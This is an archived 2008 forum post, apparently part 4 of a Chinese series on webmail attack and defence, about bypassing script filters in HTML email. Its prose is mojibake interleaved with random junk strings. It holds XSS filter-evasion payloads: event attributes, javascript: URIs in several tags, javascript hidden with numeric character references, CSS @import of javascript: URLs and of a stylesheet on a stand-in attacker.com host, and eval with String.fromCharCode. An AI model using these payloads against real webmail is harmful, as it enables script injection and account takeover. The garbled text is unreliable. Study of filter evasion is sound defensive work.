EXWOLF°Q½×°Ï's Archiver

wolf µoªí©ó 2008-1-6 17:25

Webmail§ð¨¾¹ê¾Ô(4)

ų©ó¸}¥»µ{§Ç¥i¯à±a¨Óªº¦MÀI¡AWebMail«Y²Î§¹¥þ¦³¥²­n¸T¤îhtml¶l¥ó¤¤ªº¸}¥»µ{§Ç¡C¸T¤î¸}¥»µ{§Çªº°ò¥»°µªk´N¬O¹LÂo±¼html·½µ{§Ç¤¤¯à°÷¨Ï¸}¥»µ{§Ç¹B¦æªº¥N½X¡A¦pscript¤¸¯Àµ¥¡A¦b³o¤è­±°µªº³Ì¦nªº²ö¹L©óhotmail¤F¡C¤U­±¬O¨Ç±`¨£ªºÂ¶¹L¸}¥»µ{§Ç¹LÂoªº¤èªk¡A¤£¤ÖªºWebMail «Y²Î¤´µM¨S¦³§¹¥þ§ï¥¿¡G
F`;`~pi3V k}x o!ur^8u
(1)¦bhtml»y¨¥ùØ¡A°£¤Fscript¤¸¯À¤ºªº©Î¦bscript¤¸¯À¤º¤Þ¤Jªº¸}¥»µ{§Ç¯à¦bhtml­¶­±¸Ë¸ü®É³Q¹B¦æ¥~¡A¨Ï¥Î¨Æ¥óÄݩʤ]¯à½Õ¥Î¸}¥»µ{§Ç¹B¦æ¡A¨Æ¥óÄݩʦbJavaScript»y¨¥ùسQºÙ¬°¨Æ¥ó¥y¬`¡A¥Î©ó¹ï­¶­±¤Wªº¬Y­Ó¯S©w¨Æ¥ó¡]¦p¹«¼ÐÂIÀ»¡Bªí³æ´£¥æ¡^°µ¥XÅTÀ³¡AÅX°Ê javascriptµ{§Ç¹B¦æ¡C¥¦ªº»yªk¦p¤U¡G
0Mjt ns:ji-C ¡@¡@
3ngN b fn/U%a"l ¡@¡@¡Õtagattribute1attribute2¡Ö
jhCW+O5QK ¡@¡@
0zv`\,g1f(l ¨Ò¦p¡G
Eh^"Xp&rU*P*\ ¡@¡@
l^ vRz y"s,H:Zg:`q9^;~
[table=95%][tr][td][color=#ff0000]¥H¤U¬°¤Þ¥Îªº¤º®e¡G[/color]
x V!oi nC$A ¡@¡@¡Õbody¡Ö
I5g{ RA8A2b7jY ¡@¡@¡Õahref="#"¡ÖClickhere¡Õ/a¡Ö |_3BFp
¡@¡@¡Õformmethod="post"action="#"¡Ö ¤¤°ê
b\Ji"[K\5rMZ @ `'|'nj(T5\ q F&w
¡@¡@¡Õinputtype="submit"value="Submit"¡Ö0e;[4B_ZRO(RmG v
¡@¡@¡Õ/form¡Ö&PDOSM'F+[+O_#Oo\Q
¡@¡@¡Õ/body¡Ö[/td][/tr][/table]
M6M(f z(\;| ¡@¡@
/d Is1C@j0F)~8_ (2)URI¡]UniversalResourceIdentifier¡G³q¥Î¸ê·½¼ÐÃÑ¡^¥Î©ó©w¦ìInternet¤W¨CºØ¥i¥Îªº¸ê·½¡A¦pHTML¤åÀÉ¡B¹Ï¹³¡BÁn­µµ¥¡CÂsÄý¾¹®Ú¾ÚURIªº¸ê·½Ãþ«¬¡]URIscheme¡^½Õ¥Î¬ÛÀ³ªºµ{§Ç¾Þ§@¸Ó¸ê·½¡A¦pªG§â¤@¨Ç¤¸¯ÀªºURIÄݩʭȪº¸ê·½Ãþ«¬³]¬°javascript¡A«h¯à°÷½Õ¥Îjavascriptµ{§Ç¹B¦æ¡C»yªk¦p¤U¡Aª`·N­n¥Î¡§¡F¡¨¤À¹j¤£¦Pªºjavascript»y¥y¡G Www.
,a8QT6xnV9[ ¡Õtagattribute="javascript:javascript-code¡F"¡Ö [color=#f5fafe][/color] R4TA)b}-@
¨Ò¦p¡G
l n"rR;x*_b ¡@¡@
}jV~6J+`I$A;Fg%Ma
/\TQ%Y+ir2nD$x+z [table=95%][tr][td][color=#ff0000]¥H¤U¬°¤Þ¥Îªº¤º®e¡G[/color] V%Pla#F+bl0R
¡@¡@¡Õbodybackground="javascript:alert('JavaScript#1isexecuted')¡F"¡Ö
{{8r,Q!U1En#k F ¡@¡@¡Õahref="javascript:alert('JavaScript#2isexecuted')¡F"¡ÖClickhere¡Õ/a¡ÖdJ'?'JSz
¡@¡@¡Õformmethod="post"action="javascript:alert('JavaScript#3isexecuted')¡F"¡Ö K7O&kh^R!h4y7W
¡@¡@¡Õinputtype="submit"value="Submit"¡Ö
DE;^-G#W ¡@¡@¡Õ/form¡Ö
loz n7kv ¡@¡@¡Õimgsrc="javascript:alert('JavaScript#4isexecuted')¡F"¡Ö6K(gR S7D1M`
¡@¡@¡Õ/body¡Ö[/td][/tr][/table]
_ ?h!\#}3[o+u.h}i ¡@¡@mI;Qh8K$ib
(3)¥Ñ©ó³nµw¥ó©Î¨ä¥L­ì¦]¡A¤@¨Ç§N»÷©Î¯S®íªº¦r²Å¤£¯à¿é¤J©Î¥¿½TÅã¥Ü¦bhtml­¶­±¤W¡A¬°¤F¸Ñ¨M³o­Ó°ÝÃD¡Ahtml¤¤¥i¥H¨Ï¥Î SGML¦r²Å°Ñ¦Ò¡C¦r²Å°Ñ¦Ò¬O¤@ºØ¥Î¨Ó«ü©w¤åÀɦr²Å¶°¤¤¥ô¦ó¦r²Åªº¿W¥ß½s½X¾÷¨î¡A¥H¡§&¡¨¶}©l¡A¥H¡§¡F¡¨µ²§ô¡C¦r²Å°Ñ¦Ò¦³¨âºØªí¹F¤è¦¡¡G¼Æ¦r¦r²Å°Ñ¦Ò©M¹êÅé¦r²Å°Ñ¦Ò¡C¼Æ¦r¦r²Å°Ñ¦Òªº»yªk¬°¡§&#D¡F¡¨¡]D¥Nªí¤@­Ó¤Q¶i¨î¼Æ¡^¡A©Î¡§&#xH¡F¡¨¡B¡§&#XH¡F¡¨¡]H¥Nªí¤@­Ó¤Q¤»¶i¨î¼Æ¡^¡A¨Ò¦p¡§&#65¡F¡¨¡B¡§&#x41¡F¡¨ªí¥Ü¦r¥À¡§A¡¨¡A¡§&#27700¡F¡¨¡B¡§&#x6C34¡F¡¨ªí¥Üº~¦r¡§¤ô¡¨¡C ¤¤°ê
K*X*]S e
%G*A:E T*C6RmF ¡@¡@
/?`| v5M)eHSB §ðÀ»ªÌ§âhtml»y¥yùتº¤@¨Ç¦r²Å¥H¼Æ¦r¦r²Å°Ñ¦Ò¨Ó¥N´À¡A³o¼Ë¯àÁ×¶}WebMail«Y²Î¹ï¸}¥»µ{§Çªº¹LÂo¡C»Ý­nª`·Nªº¬O¡A¤¸¯À©MÄݩʤ£¥i¥H¥Î¦r²Å°Ñ¦Òªí¥Ü¡A¨Ò¦p¡GA(a)i:sO9G/cx
¡@¡@
Ef*^*j-q]9f h#Q} [table=95%][tr][td][color=#ff0000]¥H¤U¬°¤Þ¥Îªº¤º®e¡G[/color]
'n0h`1L!T ¡@¡@¡Õbody¡Öz&HKm1W/j;lF rA
¡@¡@¡Õimglowsrc="j&#97¡Fvas&#67¡Fript:alert('JavaScript#1isexecuted')"¡Ö
9f]|.m'PtK,e,L/L ¡@¡@¡Õahref="&#x6a¡Fav&#x41¡Fs&#67¡Fript&#x3a¡Fale&#x72¡Ft('JavaScript#2's DZL.X5Q5e"~
¡@¡@&#x69¡F&#x73executed')"¡ÖClickher&#x65¡F¡Õ/a¡Ö
|4Z+@u*C5HH0q ¡@¡@¡Õformmethod="post"action="javascript:alert('JavaScript#3is
t7CR7RAk&Hc~ ¡@¡@executed')"¡Ö
X&UK,Yb6L,iz ¡@¡@¡Õinputtype="&#x53¡Fubmit"value="Submit"¡Ö
~fn8\ n6g3l ]+q.Dw"X1^@P
¡@¡@¡Õ/form¡Ö
7j@m9?5\ ¡@¡@¡Õ/body¡Ö[/td][/tr][/table]
IKlz!Sm7pYV ¡@¡@
)X7i],GYNE%[a(h (4)¼Ë¦¡ªí¬O¼hÅ|¼Ë¦¡ªí³æ¡]CSS¡GCascadingStyleSheet¡^ªºÂ²ºÙ¡A¥Î©ó±±¨î¡B¼W±j©Î²Î¤@ºô­¶¤Wªº¼Ë¦¡¡]¦p¦rÅé¡BÃC¦âµ¥¡^¡A¥¦¯à°÷±N¼Ë¦¡«H®§»Pºô­¶¤º®e¬Û¤ÀÂ÷¡A¦bhtml»y¨¥ªºstyle¼Ðñ¤º¥i¥H¥Î@importÁn©ú¿é¤J¤@­Ó¼Ë¦¡ªí¡C¦ý¬O¡A¦pªG¿é¤Jªº¸ê·½Ãþ«¬©Î¤º®e¬Ojavascript¡AInternetExplorerÂsÄý¾¹¤´µM·|°õ¦æ¡C
7@7~!P&KuH@\I ¡@¡@
;[hw7pOd-o)HC [table=95%][tr][td][color=#ff0000]¥H¤U¬°¤Þ¥Îªº¤º®e¡G[/color]@4xx4vC7N0P
¡@¡@¨Ò¦p¡G¡Õstyletype="text/css"¡Ö
pP%d7f2By-x3p:[s ¡@¡@¡Õ!--
n2y[R:\#n'K E ¡@¡@@importurl(javascript:alert('JavaScript#1isexecuted'))¡F#A[)S9ya|%RE1W*B2Y
¡@¡@@importurl([url]http://www.attacker.com/js.css[/url])¡F
j:O6x4T {nb'l ¡@¡@--¡Ö
s+Y'CDOW,B ¡@¡@¡Õ/style¡Ö[/td][/tr][/table][color=#f5fafe][/color] e:gT*V.v*^/?
¡@¡@
'Obj!PJK#l|:n ¨ä¤¤[url]http://www.attacker.com/js.css[/url]ªº¤º®e¦p¤U©Ò¥Ü¡G
5P8r{TY ¡@¡@
LB+_m)k q| [table=95%][tr][td][color=#ff0000]¥H¤U¬°¤Þ¥Îªº¤º®e¡G[/color]
YI,r e z1nb ¡@¡@@importurl(javascript:alert('JavaScript#2isexecuted'))¡F
Hjkf h k ¡@¡@@importurl(javascript:eval(String.fromCharCode6tXk-j4` b9ZR
¡@¡@(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97, ^3h.PS9iP3A
¡@¡@108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)))¡F[/td][/tr][/table]
"N:L HExeS ¡@¡@
4I'v#hY6@v6g6sO:v ¯à°÷¶¹LWebMail«Y²Î¹ï¸}¥»µ{§Ç¹LÂoªº¤èªk»·¤£¤î¤W­±©Ò»¡ªº³o¨Ç¡A¨Ò¦p´¿¦³¤Hµo²{§â¡§¡Õscript¡Ö¡¨¼Ðñ§ï¦¨¡§¡Õ_a¡Õscript¡Ö¡¨©M¡§¡Õ¡Õscript¡Ö¡¨ªº¼Ë¤l¯à¶¹Lyahoo¹q¶lªº¹LÂo¡A³o­Óº|¬}yahoo¦b³Ìªñ¤~§ï¥¿¹L¨Ó¡C

­¶: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.